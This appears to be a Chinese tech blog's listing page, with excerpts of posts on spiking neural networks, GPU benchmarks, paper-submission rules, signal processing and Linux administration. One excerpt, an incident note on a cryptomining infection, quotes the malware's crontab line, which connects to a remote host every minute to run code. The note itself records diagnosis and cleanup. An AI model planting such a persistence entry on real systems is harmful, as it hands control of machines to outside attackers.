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RSS订阅原创 百万级别的事件流数据集:ES-ImageNet （仿DVS相机原理生成的仿真数据集）
ES-ImageNet: A Million Event-Stream Classification Dataset for Spiking Neural Networks（博主是本文作者之一）文章 ： https://www.frontiersin.org/articles/10.3389/fnins.2021.726582/full代码：https://github.com/lyh983012/ES-imagenet-master数据集下载：下载链接这里介绍一下这篇文章。本文的写作的动机是：
2021-12-07 20:45:28
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原创 GeForce RTX 3090深度学习测评
GeForce RTX 3090深度学习测评环境踩坑八卡GeForce RTX 3090+Pytorch1.7+cuda11.1+对应cudnnpytorch 1.7以下版本无法对显卡写入数据tensorflow未尝试 据别的文章说只有nightly支持驱动如下：NVIDIA-SMI 455.23.05 Driver Version: 455.23.05 CUDA Version: 11.1 环境是conda直接安装测试速度用一台8卡2080Ti的服务器作对比
2020-11-16 12:25:35
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原创 CVPR2021投稿要求
重要提示：请注意，这些政策已从2020年版本更新，包括与arXiv前期工作、代码提交和作者作为评审人相关的指南。评审过程通过向CVPR提交论文，作者同意评审过程，并理解论文由多伦多系统处理，以使每个手稿与尽可能好的区域主席和评审员匹配。保密性CVPR的审查过程是保密的。评审员是志愿者，不是CVPR组织的一部分，他们的努力是非常感谢的。在评审期间对所有信息保密的做法是与所有评审员进行标准沟通的一部分。滥用机密信息是一种严重的职业失误，当提请CVPR组织者注意时，将采取适当措施。但是，应该指出的是，当审
2020-11-13 13:27:00
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原创 测试信号处理-有限冲激响应滤波器
有限冲激响应滤波器相位信息很重要，例如在雷达和声音系统。仍然利用模拟滤波器的成熟理论。定义:τg(ω)=−dϕdω\tau_g(\omega)=-\frac{d\phi}{d\omega}τg(ω)=−dωdϕ为群延迟当群延迟为常数，也分为两类线性相位，第一类过零点，第二类不过特点N=M+1第一类线性相位的时候，h(n)按n=M/2中心偶对称。第二类为奇对称。case1：偶对称+M为偶数——第一类线性相位。可实现任意滤波器。case2：偶对称+M为奇数——第一类线性相位，可实现低
2020-11-10 13:07:37
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原创 测试信号处理-模拟滤波器概述
模拟滤波器概述略略略经典滤波器原理1. 术语和概念h(t),H(s),H(jΩ)h(t),H(s),H(j\Omega)h(t),H(s),H(jΩ)分别为单位冲击响应，传输函数，频率响应函数。h(n),H(z),H(jΩ)h(n),H(z),H(j\Omega)h(n),H(z),H(jΩ)单位抽样响应，转移函数，频率响应函数。模拟滤波器转换为数字滤波器会在频域上有个延拓（N点，2pi周期）不失真传输y(t)=Kx(t−τ)y(t)=Kx(t-\tau)y(t)=Kx(t−τ)
2020-11-10 13:06:55
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原创 测试信号处理- 现代功率谱估计
现代功率谱估计平稳随机信号的参数化模型H(z)=B(z)A(z)H(z)=\frac{B(z)}{A(z)}H(z)=A(z)B(z)B(z)=∑k=0qbkz−kB(z)=\sum_{k=0}^q b_kz^{-k}B(z)=∑k=0qbkz−kA(z)=1+∑k=0pakz−kA(z)=1+\sum_{k=0}^p a_kz^{-k}A(z)=1+∑k=0pakz−k假定平稳过程是由于一系列噪声序列激励一个线性系统产生的。根据x的先验知识来估计H的参数。（H即是对x建模）只要已知白
2020-11-10 13:06:29
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原创 测试信号分析-估计理论的基本原理
估计理论的基本原理随机信号序的统计量估计随机信号序列 x(n)，有限长度 均值、相关函数、功率谱密度函数的估计式为m^=1N∑x(n)\hat m = \frac{1}{N}\sum x(n)m^=N1∑x(n) R^xx=1N∑x(n)x(n+m)\hat R_{xx}= \frac{1}{N}\sum x(n)x(n+m)R^xx=N1∑x(n)x(n+m) P^xx(ejω)=∑m=−(N−1)N−1Rxxe−jωn\hat P_{xx}(e^{j\omega})= \sum^{N-1}_
2020-11-10 13:05:46
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原创 测试信号处理-谱分析的统计知识
谱分析的统计知识两个重要概念平稳随机过程随机过程的统计特性不随样本的采样时刻而变化严格的：概率密度函数不随样本的采样时刻变化广义的：数字特征不发生变化各态历经（遍历）的随机过程样本轴方向的和时间轴方向的数字特征一致（单一时间刻上的采样在不同样本上的数字特征一样和单一样本上的数字特征一样）同一时刻更广义地可以认为是环境演变周期中的同一个时间刻各态历经的信号一定是平稳的更大的意义是一个样本的时间平均来估计多个样本的平均大多数信号在外界环境不变的情况下认为满足这两个条件
2020-11-10 13:05:17
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原创 测试信号处理-谱分析基础知识
测试信号处理基础1 - 谱分析基础知识简介信号定义：对信息的表达形式分类：随机、确定：只能通过统计特征加以描述或者可以解析表示连续、离散：根据信号的自变量（往往是时间）是否离散能量型号、功率信号——看看是否绝对可积energy:∫∣x(t)∣2dt<∞energy: \int |x(t)|^2dt < \infty energy:∫∣x(t)∣2dt<∞energy:∑∣x(n)∣2<∞energy: \sum |x(n)|^2 < \infty ene
2020-11-10 13:04:37
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原创 深度学习 | 大规模神经网络训练技巧
深度学习 | 大规模神经网络训练技巧在上一篇文章中，博主使用STBP训练了SNN-Imagenet分类网络，由于当前SNN相对于ANN而言，消耗的显存更大，训练更慢，因此学习了一些相对有用的训练技巧，列举如下一、模型并行还是数据并行数据并行上面这张图可以看出模型并行和数据并行的区别，其中数据并行实际上是只有一个模型，不同的设备使用同一个模型的一部分来计算不同的数据批次，达到训练加速的目的。实现它的代码很简单，只需要import argparse, pickle, torch, time, os
2020-09-20 21:43:33
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原创 深度学习｜SNN-ResNet搭建
深度学习｜SNN-ResNet搭建ResNet基本结构已有的文章已经说的很详细了，这里就不再赘述，直接引用之ResNet详解SNN基本知识SNN可以用如下方程综述其中x是加权输入，w是权重，o是上一层的输入，u是当前节点电位，g是脉冲激活函数，f是衰减遗忘函数函数。在SNN构成的网络中训练如下图：图片来自Spatio-Temporal Backpropagation for Training High-Performance Spiking Neural NetworksWu Y , D
2020-09-20 21:13:57
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原创 Nature命名规范
Nature命名规范姓名顺序韩国人香港人台湾人的名中国人和大多数外文名字中间名特殊情况带间隔符的姓复姓姓前缀学会姓名顺序无论东西方人，缩写名的书写形式都是姓在前、名在后；而在不是缩写的时候，西方姓名，姓在后，名在前，有时候还会有第二名第三名（中间名）。但是在参考文献中只要记住把姓放在前面即可（其实也有少部分期刊把姓放在后，但是Nature系和Speinger都是姓前）韩国人香港人台湾人的名e.g.Author = {Hsieh Chang-Tai}Author = {Goh, Kwang-Il
2020-08-20 12:09:18
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原创 Linux运维 ｜ 服务器维护和配置常见问题
linux运维常见问题文件权限高级命令MYSQL 数据库pip服务器常见问题git commandsshkey 无密码ssh登陆服务器服务器配置jupyter步骤文件权限A. 更改文件权限 (chmod)chmod 777 miao.in默认文件为644,文件夹为755TIP:1st digit=Owner;2nd=Group;3rd=Other(-rwxrwxwrx = 777, -rwxr-xr-x = 755, -rw-r–r-- = 644, etc.)7 = Read + Wr
2020-08-19 18:09:42
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原创 Linux运维 | 私人服务器搭建的全过程
最近，前些天新买的树莓派到了。于是，准备上手用这个树莓派搭建一个属于自己的服务器，在上面放一个人网站，以后可能会当作一个云盘、个人博客以及Minecraft的私服。以下记录一下全过程有线连接树莓派，初次上电连接纵观全过程，第一步花的时间其实是最多的。因为使用的是mac，木有网线接口，转接线还需要驱动，真是烦……于是采用了ssh远程连接develop（1）下载了镜像，树莓派的系统是基于linux写的，实际上就是一个内嵌了很多开发工具的linux，从科协拿了个读卡器把镜像写到sd卡上，作为启动盘（2）
2020-08-19 17:58:36
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原创 Linux运维｜记录一个挖矿病毒
本文转载自本人公众号现象任何程序都会在执行一段时间之后被kill检查top命令，得到结果如下：检查crontab发现root中被写入定时服务：用crontab往服务器写入了一个命令，会定时调用python进程连接到 166.111.57.30:3333这个位置远程跑程序。* * * * * python -lan 166.111.57.30:3333检查发现3333端口前一段时间爆发挖矿病毒，怀疑是166.111.57.30成为校内肉鸡。基本确定是挖矿木马。此条命令清除掉之后，还是有同样的
2020-08-19 17:41:35
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原创 Nature Communication 投稿要求
Nature Communication 投稿要求格式要求文章内容Microsoft WordTeX/LaTeX封面信参考文献致谢作者贡献图形图例表格方程图片线条艺术、图表、图表和示意图照片和位图图像请提供RGB彩色模式的彩色摄影图像。补充资料格式要求NC实际上没有很多格式的要求，甚至没有一个成熟的LaTex模板NC的投稿要求见 投稿须知文章内容对于第一次投稿（即未经修订的稿件），作者可以选择将手稿文本和图片合并到一个大小不超过30 MB的单个文件（Microsoft Word、TeX/LaTeX
2020-08-19 17:35:22
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原创 linux运维 | 远程管理服务器 ssh
纪实 | 远程管理服务器1、意外发现了远程ssh的方法此前在服务器建立的时候，刚好有两个端口映射，一个是到80端口，一个是到22端口，80端口用于HTTP通讯，就是挂网站的，22端口用于ssh通讯80端口的测试在上一篇日志中已经解决了，那么22端口呢？凭着我惊人的直觉，ssh命令应该是可以直接用在域名上的吧……然后改一下默认的ssh端口应该就可以了吧……于是直接使用命令：ssh -p...
2019-03-30 17:53:08
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OmniGraffle-7.11.5.dmg
2020-08-20
Linux常用命令.pdf
2020-08-20
Python数据科学速查表 - Keras.pdf
2020-08-20
Python数据科学速查表 - Numpy 基础.pdf
2020-08-20
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